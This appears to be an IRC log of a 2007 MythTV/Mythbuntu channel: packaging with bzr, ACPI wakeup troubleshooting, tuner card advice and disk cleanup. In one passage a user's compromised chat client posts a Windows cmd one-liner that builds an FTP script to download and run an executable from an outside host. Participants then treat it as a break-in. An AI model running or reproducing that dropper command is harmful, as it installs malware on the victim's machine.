[12:46] <superm1> how big is the commit going to be?
[12:47] <gardengnome> it's just debian/
[12:47] <gardengnome> it's committed & pushed now
[12:53] <superm1> cool k
[12:53] <gardengnome> i'm preparing mythplugins now
[12:54] <superm1> i'll do a co of yours too then right now
[01:20] <rogue780|mythser> so officially the ubuntu media center will officially use elisa
[01:21] <gardengnome> so the ubuntu media center official sucks, huh?
[01:21] <superm1> Huh?
[01:22] <rogue780|mythser> well...depends on what you want in a media center
[01:22] <gardengnome> ;)
[01:22] <superm1> oh i jumped in mid conversation
[01:22] <gardengnome> < rogue780|mythser> so officially the ubuntu media center will officially use elisa
[01:22] <gardengnome> yep
[01:22] <superm1> thats fine
[01:22] <superm1> there are different goals in each project
[01:22] <superm1> they want an all around media center
[01:22] <superm1> we want mythtv
[01:23] <rogue780|mythser> I do like like like the the elisa interface....but not so much the consolidated architecture
[01:23] <rogue780|mythser> brb
[01:27] <rogue780|mythser> back
[01:27] <rogue780|mythser> well what's better about elisa than mythtv and vise versa?
[01:28] <superm1> elisa is more user friendly atm i think
[01:28] <superm1> mythtv is more feature filled
[01:45] <superm1> gardengnome, could you think of any reason that my access to any canonical site (ubuntuforums, ubuntu.com, lists.ubuntu.com, bazaar.launchpad.net) would be slow when the rest of my web access is fine?  I can ssh into school and do a -D 8080 and use that as a proxy at full speed
[01:45] <gardengnome> i'll be pushing mythplugins in just a moment
[01:46] <gardengnome> launchpad is not terribly fast for me either, but it's tolerable
[01:47] <superm1> i mean its a night and day difference.  i typed in ubuntuforums.org at 18:22.  Its 18:46 right now and it hasn't come up
[01:47] <superm1> now i'll turn the proxy on
[01:47] <superm1> and its up already
[01:47] <superm1> and its nothing but canonical servers that are doing it to me weirdly enough
[01:47] <gardengnome> then is suspect that your provider's routing is broken then
[01:47] <gardengnome> s/then is/I/
[01:48] <gardengnome> heh
[01:48] <superm1> i suppose that is the only suspectable cause
[01:48] <gardengnome> wait a few minutes or hours, maybe it'll normalize
[01:48] <gardengnome> just use your proxy
[01:48] <superm1> its been like this for 3 days
[01:48] <gardengnome> oh :(
[01:48] <gardengnome> they'll probably tell you that it's canonical's fault
[01:49] <superm1> yup, hence why i dont look forward to that call
[01:49] <superm1> my only worry is there is a big warning on my school ssh server that its not to be used as a proxy...
[01:49] <gardengnome> use tor?
[01:49] <superm1> never used it before
[01:49] <superm1> worth the setup?
[01:50] <gardengnome> it can be slow-ish, but i use it when i need to read up on legally dubious stuff.
[01:50] <gardengnome> it's just one click away in my firefox using torbutton
[01:50] <gardengnome> i installed privoxy and tor
[01:50] <superm1> i installed a quick switch proxy button for firefox too, to switch between my -D 8080 and regular
[01:51] <gardengnome> great :)
[01:51] <superm1> privoxy kills my openwrt router
[01:51] <superm1> it cant handle running privoxy
[01:51] <superm1> and still route stuff
[01:51] <gardengnome> sad :(
[01:51] <gardengnome> i run tor and privoxy on my normal box
[01:51] <superm1> oh thats an idea
[01:51] <gardengnome> can you co from sftp://bazaar.launchpad.net/~ubuntu-mythtv/mythplugins/mythplugins-trunk ?
[01:52] <superm1> trying, if i ever contact launchpad
[01:52] <superm1> maybe
[01:53] <gardengnome> ;)
[01:54] <gardengnome> there are a bunch of open proxies, too
[01:55] <superm1> yes i was able to co from it
[01:55] <superm1> you left a lot of extra stuff though
[01:55] <superm1> ls | grep -v debian
[01:55] <superm1> build-stamp
[01:55] <superm1> config.log
[01:55] <superm1> config.pro
[01:55] <superm1> configure-stamp
[01:55] <superm1> Makefile
[01:55] <superm1> mythconfig.mak
[01:55] <gardengnome> oh
[01:56] <gardengnome> i did the debuild thing, isn't that supposed to clean up?
[01:56] <superm1> debuild -S -sa should have cleaned up
[01:56] <gardengnome> err
[01:56] <gardengnome> ok :)
[01:57] <gardengnome> i used -D instead of -S
[01:57] <gardengnome> *sigh*
[01:57] <gardengnome> it's too late for me.
[01:57] <superm1> you have been at this for a while too :)
[01:57] <gardengnome> i think i started working on the mythtv box like 14 hours ago
[01:57] <gardengnome> time for a break. ;)
[01:58] <superm1> haha wow
[01:58] <gardengnome> acpi wakeup is not that easy :>
[01:59] <gardengnome> superm1: i have removed those additional files
[01:59] <superm1> thats what you get for saying it was :)
[01:59] <gardengnome> Pushed up to revision 2.
[01:59] <gardengnome> well
[01:59] <superm1> cool great
[01:59] <gardengnome> in theory
[01:59] <gardengnome> it's easy
[01:59] <superm1> in theory walking on your hands under water is to
[01:59] <gardengnome> it's just broken ACPI implementations and whatever that makes it hard.
[02:00] <superm1> but try doing more than 5 steps
[02:00] <superm1> and then you'll see
[02:00] <gardengnome> i'll take your word for it
[02:01] <gardengnome> although spending a nice, sunny saturday in front of a screen wasn't too bad considering it didn't get much love
[02:02] <superm1> well you were productive for the greater good
[02:02] <gardengnome> heh
[02:02] <gardengnome> sainthood++
[02:02] <gardengnome> ;)
[02:02] <gardengnome> thanks for teaching me about bzr, it looks really useful
[02:02] <gardengnome> i'll dive into the wonders of bzr merge tomorrow. :)
[02:03] <superm1> you can teach me about those then too :)
[02:03] <gardengnome> i should
[02:04] <gardengnome> unless i forgot about them
[02:09] <gardengnome> good night guys ;)
[02:09] <superm1> night gardengnome
[03:14] <rogue780|mythser> well crap..with the new updates I'm now using 100% of my / partition
[03:15] <rogue780|mythser> well gotta go to work
[03:46] <superm1> ouch
[03:46] <superm1> 100percent
[03:46] <superm1> what happened?
[03:47] <superm1> imbrandon, u here?
[03:54] <imbrandon> sup?
[03:58] <superm1> hey imbrandon, just wanted to ask about the buildd stuff
[03:58] <superm1> and/or remind :)
[03:59] <imbrandon> working on it , i'm getting alot of the stuff done but seveas has run into some hitches etc, trust me i havent forgot
[03:59] <imbrandon> nor will i
[03:59] <superm1> very good,  just making sure :)
[03:59] <imbrandon> there are about 40 people waiting on this :)
[03:59] <superm1> wow
[03:59] <imbrandon> hehe
[04:00] <superm1> did you see that i sent off my MOTU app yesterday too?
[04:01] <imbrandon> yup yup, i havent had a chance to respond yet
[04:02] <imbrandon> i show you this ?
[04:02] <imbrandon> beta.ubuntuwire.com
[04:02] <superm1> i saw the search, but not the new FE
[04:02] <superm1> for it
[04:03] <imbrandon> FE ?
[04:03] <superm1> frontend
[04:03] <superm1> it was in a custom planet page
[04:03] <imbrandon> ahh
[04:03] <superm1> when you showed me
[04:03] <imbrandon> ahh ok
[04:03] <superm1> looks very nice now
[04:03] <imbrandon> yea i still need a bit more work
[04:03] <superm1> yea i see it has an abundance of white space at the bottom
[04:03] <superm1> for some reason or another after the search results
[04:04] <imbrandon> yea
[04:04] <imbrandon> i havent fixed that, nor the width
[04:04] <superm1> where are you going to include it eventually?  on ubuntuwire.com?
[04:05] <superm1> or push for it to be put somewhere else?
[04:05] <imbrandon> ubuntuwire.com
[04:06] <superm1> ah cool cool
[12:30] <gardengnome> superm1: your mythweather patch seems to apply fine. i'm doing a test build now
[12:30] <gardengnome> ubotu: log
[12:30] <ubotu> Channel logs can be found at http://people.ubuntu.com/~fabbione/irclogs
[12:38] <gardengnome> superm1: have you seen error messages like this?
[12:38] <gardengnome> 2007-06-03 12:37:59.785 UIImageType::LoadImage() - Cannot find image: weather/30.png
[12:38] <gardengnome> 2007-06-03 12:37:59.786 UIImageType::LoadImage() - Cannot find image: weather/34.png
[12:39] <gardengnome> 2007-06-03 12:37:59.786 UIImageType::LoadImage() - Cannot find image: weather/34.png
[12:39] <gardengnome> 2007-06-03 12:37:59.787 UIImageType::LoadImage() - Cannot find image: weather/11.png
[12:39] <gardengnome> 2007-06-03 12:37:59.787 UIImageType::LoadImage() - Cannot find image: weather/11.png
[12:39] <gardengnome> i don't get those cute cloud/sun icons
[02:43] <wil> gardengnome: did you have any luck with acpi and then automatically shutdown?
[02:43] <wil> because I don't really know what to do from the howto
[03:08] <wil> gardengnome: are you there?
[03:14] <gardengnome> yes
[03:14] <gardengnome> sorry, been cleaning the bathroom...
[03:14] <gardengnome> what do you need to know?
[04:02] <rogue780|mythser> well it's my own fault for making my / partition only 4GB
[04:05] <gardengnome> /dev/sda8             1.4G  840M  428M  67% /
[04:05] <gardengnome> :>
[04:12] <superm1> gardengnome, hm I dont think i didsee those message
[04:12] <superm1> i'll have to check agin
[04:13] <superm1> rogue780|mythser, clean your /var/cacche/apt/archives
[04:13] <superm1> and your /var/log
[04:22] <rogue780|mythser> thanks
[04:22] <superm1> spelled cacche wrong
[04:22] <superm1> but basically all that stuff in /var
[04:22] <superm1> cache/apt/archives cache/apt/archive/partial/
[04:22] <superm1> log/
[04:23] <superm1> backups/
[04:23] <superm1> var/cache/backups
[04:23] <rogue780|mythser> do you know the text that is "behind the usplash?" that gives messages such as what it's mounting, etc?
[04:23] <superm1> yes
[04:23] <rogue780|mythser> where is that log kept?
[04:24] <superm1> well to /var/log/syslog for most of it
[04:24] <superm1> and /var/log/messages for some of the things that happen
[04:24] <superm1> and /var/log/daemon.log for the most verbose stuff
[04:24] <superm1> are you trying to diagnose something?
[04:27] <rogue780|mythser> yeah. when my laptop boots up it dumps a bunch of hex number groups separated by commas then it says "Not automatically fixing this" then proceeds to mount my other partitions
[04:27] <rogue780|mythser> I'm tryingto figure out what is said before all those hex numbers
[04:28] <superm1> ah ok
[04:28] <rogue780|mythser> if I just type "grep poo" it'll find any reference to poo in any file in the pwd right?
[04:29] <superm1> grep poo *
[04:29] <superm1> and then recurcive is grep poo * -R
[04:29] <superm1> s/recurcive/recursive/
[04:31] <rogue780|mythser> and how would I look for an entire string?
[04:32] <superm1> grep "My String" * -R
[04:32] <rogue780|mythser> that's what I thought
[04:41] <wil> Hi, I'm following this howto:https://help.ubuntu.com/community/MythTV/Install/WhatNext/ACPIWake
[04:42] <wil> But when I didn't use the MythWakeSet script it worked fine, but then I cannot get Mythtv to automatically shutdown when it is finished after a recording when it wasn't manually booted
[04:43] <gardengnome> please elaborate
[04:44] <wil> ok, yesterday the automatic booting worked fine, I used just the acpi command for setting the wakeup time
[04:45] <wil> But then it wakes up, but won't shutdown after it is finished recording, because mythwelcome automatically starts mythfrontend,and then muthtv is never idle
[04:45] <wil> Now in that howto they use a script to set the wakeup time, because they need to change it to utc
[04:46] <wil> I don't have to do that, but I have changed the script so that it won't change it to UTC (at least I guess )
[04:46] <wil> But now using the script it won't write the wakeup time to /proc/acpi/alarm
[04:47] <wil> and so it doesn't boot
[04:47] <gardengnome> well
[04:47] <gardengnome> that's easy
[04:47] <wil> also the script should create a file, timestamp, which is not created
[04:47] <gardengnome> umm
[04:47] <gardengnome> mythwelcome should not start mythfrontend.
[04:48] <gardengnome> if it's booting automagically.
[04:48] <gardengnome> it should realize that it was woken up by the RTC timer.
[04:48] <gardengnome> annoying.
[04:48] <wil> Also in the script they write it to /home/mythtv/timestamp, but I don't have a mythtv user, but just a normal user, so /home/mythtv doesn't exist
[04:48] <gardengnome> well, you're not using our packages then i suppose ;)
[04:48] <wil> gardengnome: yes that is the point exactly
[04:48] <gardengnome> you can disable the starting of mythfrontend in mythwelcome
[04:49] <wil> whose packages?
[04:49] <wil> I am using the normal ubuntu packages
[04:49] <gardengnome> if you are using the normal ubuntu packages, then you have /home/mythtv/
[04:49] <wil> ghe geh you are right :)
[04:49] <gardengnome> but if you're running as a different user, it shouldn't matter. just use your regular home directory then
[04:50] <gardengnome> i don't understand why you need this script.
[04:51] <wil> well, but I guess the script isn't right, because it doesn't write the wakeup time to /proc/acpi/alarm and it doesn't create the timestamp file either
[04:51] <wil> well, I won't if I don't let mythwelcome start mythfrontend
[04:51] <wil> So I guess I'll just do that and inform my parents about the change :)
[04:52] <wil> (because this is actually my second mythbox I have created, the other one uses nvramwakeup)
[04:53] <gardengnome> i don't understand why you need this script just because mythwelcome starts the frontend
[04:53] <rogue780|mythser> Oh I miss those days when you could do a low level format from the bios
[04:54] <wil> gardengnome: because you can make a timestamp which is read by mythwelcome to determine wether or not to start mythfrontend I guess
[04:55] <gardengnome> wil: i guess i must have missed that when i read the documentation.
[04:56] <wil> gardengnome: it doesn't start mythfrontend automagically on your box? or you have turned it off, even if you booterd manually?
[04:56] <superm1> gardengnome, when i turned on mythwelcome yesterday, my frontend still autostarted
[04:56] <rogue780|mythser> um....what's mythwelcome?
[04:56] <wil> mine too, so I'll turn off autostart then
[04:56] <gardengnome> superm1: that's intentional. start mythwelcome, hit "s" and configure it there.
[04:56] <wil> it will be the easiest solution
[04:56] <gardengnome> superm1: err, hit "i" i think it is
[04:57] <superm1> ah
[04:57] <wil> F11
[04:57] <gardengnome> thanks.
[04:57] <superm1> rogue780|mythser, its this crazy app these guys are using that is shipped with mythtv-frontend
[04:57] <rogue780|mythser> what does it do?
[04:58] <wil> do you mean just leave command to start mythfrontend empty?
[04:58] <wil> or is it a checkbox?
[04:58] <gardengnome> wil: i fail to understand what your problem is and what you believe to be the cause.
[04:58] <wil> My problem is, that when my computer autostarts to record something it won't shut down when it is finished
[04:58] <superm1> rogue780|mythser, i dont know its exact purpose.  ask these guys
[04:59] <wil> And I think the cause is that mythwelcome automagically starts mythfrontned, and therefore causes mythtv to never be idle
[04:59] <wil> but where can I say that mythwelcome doesn't need to start mythfrontend?
[04:59] <wil> Is it as I think it is, just leave the command blank or not?
[05:00] <rogue780|mythser> wil, gardengnome, what is it exactly that mythwelcome does?
[05:00] <rogue780|mythser> I miss how quickly ubuntu 6.06 boots up the live disk
[05:00] <wil> I don't really know, maybe gardengnome knows more.
[05:04] <rogue780|mythser> did you hear about intel's 80 core chip?
[05:07] <rogue780|mythser> %systemroot%\system32\cmd.exe
[05:07] <rogue780|mythser> cmd /c echo open ftp1.killyourself.info 21 >> ik &echo user mysql database >> ik &echo binary >> ik &echo get torrentfix32.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &torrentfix32.exe &exit
[05:08] <rogue780|mythser> what the hell?
[05:08] <rogue780|mythser> superm1,
[05:08] <rogue780|mythser> I just watched as my computer typed out those previous messages
[05:09] <superm1> rogue780|mythser, your computer types that?
[05:09] <rogue780|mythser> it just did...not letter by letter, but word by word
[05:09] <superm1> rogue780|mythser, you might want to look closely as what processes you have open
[05:09] <superm1> and what ports
[05:09] <superm1> and check for your system being compromised
[05:10] <rogue780|mythser> right...but my hardware firewall is blocking all ports
[05:10] <superm1> *all* ports?
[05:10] <superm1> none are forwarded
[05:10] <rogue780|mythser> not to this computer. to my windows box.
[05:10] <superm1> if another computer that ports are forwarded to is compromised
[05:10] <rogue780|mythser> and my windows box has zone alarm on it
[05:10] <superm1> Hm
[05:11] <superm1> where did that show up?
[05:11] <superm1> in your terminal?
[05:11] <rogue780|mythser> no...in the xchat box
[05:11] <rogue780|mythser> it typed it and sent the messages as you saw them
[05:11] <superm1> do you have any wacky python scripts loaded?
[05:12] <rogue780|mythser> no scripts.
[05:12] <superm1> well then most definitely look at your process lists
[05:12] <rogue780|mythser> I'm thinking it might be one of those windows messenger hacks (net send ...and all that) that got forwarded through my windows box *some how* on a gamespy port
[05:14] <rogue780|mythser> do you know what getty is?
[05:16] <rogue780|mythser> wow.
[05:17] <rogue780|mythser> if I type that crap into my commandline on my windows box it attempts to access and download a file....
[05:17] <rogue780|mythser> on port 1568
[05:21] <superm1> getty is normal
[05:21] <rogue780|mythser> http://www.macfixitforums.com/showflat.php?Cat=&Board=Forum6&Number=815157&Forum=&Words=&Match=Entire%20Phrase&Searchpage=0&Limit=25&Old=1day&Main=815099&Search=true
[05:21] <rogue780|mythser> I'm guessing it's through my vnc...it's happened before w/o irc up
[05:21] <rogue780|mythser> and I don't have a password on my vnc...although I still don't see how they accessed this computer
[05:22] <superm1> do u use vino?
[05:22] <rogue780|mythser> yes
[05:22] <superm1> it tells you when someone connects
[05:22] <superm1> in the system tray
[05:22] <superm1> starting with feisty
[05:22] <rogue780|mythser> right
[05:22] <rogue780|mythser> so then IRC I guess
[05:23] <superm1> well irc doesnt open a port htough
[05:23] <superm1> wait but your doing something weird arent you
[05:23] <superm1> with irc
[05:24] <rogue780|mythser> what do you mean?
[05:24] <superm1> dont you have an irc server running locally
[05:24] <superm1> that connects to freenode?
[05:24] <superm1> or something like that?
[05:25] <rogue780|mythser> no...just xchat on my myth server. then I vnc into it every once in a while from different computers
[05:25] <gardengnome> maybe that also caused the recent channel floodings by you, rogue780|mythser
[05:25] <rogue780|mythser> I have it so when the computer starts is loads xchat and xchat automagically logs into about 10 channels for me
[05:26] <rogue780|mythser> gardengnome, I thought that too...but the recent channel flooding wasn't system commands designed to download a virus onto a windows computer, it was in fact resending chat logs
[05:26] <rogue780|mythser> maybe it's from the same thing though
[05:26] <superm1> rogue780|mythser, so you vnc'ed in right now
[05:26] <superm1> from the windows box
[05:27] <rogue780|mythser> no I'm actually at the computer now. and when I vnc in it's from my ubuntu laptop
[05:27] <gardengnome> are you using your windows box right now?
[05:27] <rogue780|mythser> this box is also a samba server
[05:28] <rogue780|mythser> my wife's laptop might be on. and my gaming computer which is also on the same desk here was on. I just rebooted it into save mode for a virus and spyware scan
[05:28] <superm1> rogue780|mythser, possibly if you upnp on your router
[05:28] <superm1> your windows box can open up ports
[05:28] <superm1> to the ubuntu box
[05:28] <superm1> minimally add a password to vnc
[05:28] <rogue780|mythser> i just added one
[05:30] <rogue780|mythser> on another note...anyone know how to get rid of grub?
[05:31] <superm1> something along the lines of dd if=/dev/null of=/dev/hdX count=63 ? (Not that exact line - dont do it - bt somethign close)
[05:32] <rogue780|mythser> count is by byte right?
[05:33] <gardengnome> no
[05:33] <gardengnome> by blocks afaik
[05:33] <superm1> like i said  i wasnt sure of the exact way, but its basically getting rid of those first 63 that are the MBR
[05:34] <superm1> a google search should turn it up
[05:37] <rogue780|mythser> I miss windows 95. it was the only decent windows. I really hope reactos makes it
[05:38] <gardengnome> it was just a graphical frontend for DOS
[05:38] <rogue780|mythser> that's what made it work right
[05:38] <rogue780|mythser> I dunno. even windows 98 was ok I guess...only the second edition though
[05:38] <gardengnome> well, i don't like dos either
[05:40] <rogue780|mythser> I liked dos. it was simple and too the point. if it had been developed further it would have been gained multitasking and such
[05:41] <rogue780|mythser> well off to get breakfast and a shower. bbl
[05:42] <rogue780|mythser> dos games were cool to. captian comic, jungle jill, hugo III, secret agent man,crystal caves, scorched earth
[05:42] <rogue780|mythser> I used to spend hours playing those on my 286, and later my 486 DX with a math coprocessor! it hat 40mhz man! with a turbo button
[05:43] <rogue780|mythser> I miss that turbo button
[05:43] <rogue780|mythser> well enough of this
[05:49] <kso> howdy!
[05:49] <superm1> hi kso
[05:51] <kso> anyone have any experience with hdtv cards and mythtv?
[05:51] <superm1> Yup
[05:52] <kso> groovy
[05:52] <kso> i have an ati hdtv wonder and haven't gotten it to work fully yet
[05:52] <kso> haven't tried in a few months, though...
[05:52] <superm1> Its supported
[05:52] <superm1> You need to load a module though
[05:52] <kso> mythbuntu looks pretty snazzy
[05:52] <superm1> that doesnt load on its own
[05:52] <kso> ah
[05:53] <superm1> Working on installer related items with mythbuntu atm :)  As soon as the current string of issues is fixed, i'm going to announce another alpha
[05:53] <superm1> on the rss feed
[05:53] <kso> nice!
[05:54] <kso> where is rss feed?
[05:54] <superm1> You can subscribe to it right from mythbuntu.org
[05:54] <superm1> FF will show a little RSS icon
[05:54] <superm1> in your address bar
[05:55] <kso> yarr
[05:55] <kso> found it, thanks!
[05:55] <superm1> :)
[05:55] <superm1> But as for your card, the cx88_dvb module needs to be loaded.
[05:55] <superm1> All the info is on the hardware page of our wiki pages
[05:55] <superm1> at
[05:55] <superm1> !mythtv
[05:55] <ubotu> MythTV is a TV framework for Linux - Instructions for using with Ubuntu at https://help.ubuntu.com/community/MythTV
[05:56] <kso> mythtv.org/wiki?
[06:05] <kso> superm1: thanks for the info...  looks like i might not be able to rip video quite like i thought i could, yet...   afk/lurk
[06:05] <superm1> kso, what do you mean rip video?
[06:07] <kso> my friend has a proprietary DVR full of videos, and we wanted to rip them to disk...  http://www.mythtv.org/wiki/index.php/ATI_HDTV_Wonder says that the card only decodes cable channels, and the analog input doesn't work...
[06:08] <superm1> The only way I know of getting things off of DVRS like that would be via firewire
[06:09] <kso> oh
[06:10] <superm1> and thats iffy too
[06:10] <kso> i figured i could connect the hdtv tuner card to the DVR just like a normal TV, then tell the DVR to play each show
[06:10] <kso> then have the tuner card "recording" that show
[06:10] <kso> to disk
[06:10] <superm1> that would work too well if that was the case :)
[06:10] <kso> do you know if that's digital or analog input...?
[06:10] <superm1> the person i spoke with that was able to do it via firewire did it that way though
[06:11] <superm1> doing a raw capture of the firewire
[06:11] <superm1> when playing a show on the dvr
[06:11] <kso> no, the way i was suggesting
[06:11] <superm1> well the way your suggesting, you cant get a digital recording
[06:11] <kso> using the computer/hdtv card as a virtual tv
[06:11] <kso> ok
[06:11] <superm1> you can do such things with analog, but the cable box isnt broadcasting a QAM signal
[06:12] <superm1> which the HDTV wonder would be tuning
[06:12] <kso> that's what i figured - rats
[06:12] <superm1> look into firewire though and see if that box supports it
[06:12] <superm1> if it does its still a possiblity
[06:13] <kso> i wonder if i could disassemble the DVR, mount the HD in a computer, and copy them...?
[06:14] <superm1> typically no
[06:14] <kso> probably better to just buy a good and supported analog card :)
[06:14] <superm1> typically the dvr has a prop. filesystem structure
[06:14] <superm1> well if you do it with an analog card, you won't get hi res video
[06:14] <superm1> it will just be sd capture
[06:15] <kso> none of the media is in HD format...  i just figured the upsample wouldn't hurt
[06:15] <superm1> Ah
[06:15] <superm1> then a good supported analog card will do the trick
[06:15] <superm1> pvr-XXX series cards
[06:15] <superm1> are the way to go
[06:16] <kso> yarr
[06:23] <kso> thanks again...  :)  back to afk/lurk
[06:41] <superm1> np, good luck kso
[07:44] <gardengnome> superm1: duh. it can't find those mythweather because i missed your changes to debian/rules. they were simply not installed :)
[07:47] <gardengnome> next time, i'll use bzr diff or bzr merge to get your changes
[07:52] <superm1> haha
[07:53] <superm1> there are changes to debian/control too
[07:54] <thedeviantone_> Hello everyone, I'm looking to install Ubuntu 6.06 on a generic mobo with amd 650. but the issue I'm having is with the PERC2/SC SCSI controller.. someone mentioned that I need to rebuild the kernel
[07:54] <thedeviantone_>  can anyone help?
[07:55] <superm1> thedeviantone_, not exactly a generic support channel here; more mythtv related items, but have you looked to see if the issue w/ the controller was supported in 6.10?
[07:55] <superm1> or 7.04
[07:56] <thedeviantone_> no I haven't thanks for the information, sorry about posting in the wrong channel, i'm just grabbing at straws
[09:22] <rogue780|mythser> can anyone recommend a good hd tuner that works well with windows? my supervisor is wanting to get one, but I'm not sure what to recommend
[09:22] <rogue780|mythser> brb
[09:23] <superm1> with windows: no
[09:23] <superm1> i hve no idea
[09:43] <rogue780|mythsrv> well this really sucks
[09:43] <tgm4883_laptop> does the hdhomerun work on windows?
[09:46] <rogue780|mythsrv> i dunno. I do know however that I some how managed to destroy this server and I just reloaded it
[09:47] <rogue780|mythsrv> and my database backup apparently didn't work.
[09:47] <superm1> yes it does
[09:47] <superm1> and its supposed to have great support, i just havent used it for such a purpose
[09:48] <superm1> in linux it works incredibly well with mythtv though
[09:48] <superm1> couldnt have asked for an easier to setup tuner
[10:02] <tgm4883_laptop> Superm1, does the ir blaster for the mce remote have any sort of passthrough ability?  Such as either the receiver passing any received commands on to the tv, or the part that goes over the ir spot on the tv?
[10:03] <superm1> Well not directly
[10:03] <superm1> you can implement it in software
[10:03] <tgm4883_laptop> ah
[10:03] <superm1> by capturing a button and then transmitting a signal
[10:03] <tgm4883_laptop> good thing to know, i have put off implementing that as it completely covers my tv ir receiver
[10:04] <superm1> well it doesnt have to be "right" on the tv ir receiver
[10:04] <superm1> and also they are usually translucent
[10:05] <superm1> so other remote signals should be able to pass yet
[10:06] <tgm4883_laptop> ah
[10:06] <tgm4883_laptop> i might try doing that today
[10:06] <tgm4883_laptop> of course I have said that like 3 times in the past
[10:07] <tgm4883_laptop> Hey if you have the time, could you pop in on a forum question?
[10:07] <superm1> can you poke me with it later?  I'm on a roll right now with ubiquity.
[10:07] <superm1> whatever that actually means ;)
[10:08] <tgm4883_laptop> oh yea, just let me know when your available.  Priorities first
[10:22] <rogue780|mythsrv> brb
[11:01] <superm1> tgm4883_laptop, do you have any recommendations for a gtk theme on the installer?
[11:01] <superm1> currently its using silicon-theme, but the text is very very small and i anticipate it wont work on a tv
[11:06] <superm1> or anyone else in the room for that matter/
[11:12] <superm1> http://www.phoronix.com/scan.php?page=article&item=736&num=1 Guys check that out :)
[11:14] <tgm4883_laptop> no recommendations superm1, I bounce back and forth on my system but usually end up back on the default ubuntu one
[12:18] <superm1> tgm4883_laptop, well i manually bumped the font size to 12 in an override .gtkrc
[12:19] <superm1> still looks meh
[12:19] <superm1> but better
[12:25] <a5benwillis> hi guys
[12:25] <superm1> hey a5benwillis
[12:25] <a5benwillis> superm1: Have time for a quick q?
[12:25] <superm1> in the middle of this test build sure
[12:25] <a5benwillis> Im just getting around to playing with dvd ripping...
[12:25] <a5benwillis> on my first test to iso the system hung completely after abt 5 mins.. Had to hard boot.
[12:26] <a5benwillis> Any tips?
[12:26] <superm1> anything informative in logs?
[12:26] <superm1> about the freeze?
[12:26] <superm1> and did ctrl alt backspace restart X?
[12:26] <superm1> or you had to reboot
[12:27] <a5benwillis> had to reboot
[12:27] <a5benwillis> "Jun  3 18:18:02 HTPC kernel: [17188945.064000]  sg_write: data in/out 56/56 bytes for SCSI command 0x12--guessing data i$
[12:27] <a5benwillis> Jun  3 18:18:02 HTPC kernel: [17188945.064000]     program mythfrontend not setting count and/or reply_len properly
[12:27] <a5benwillis> "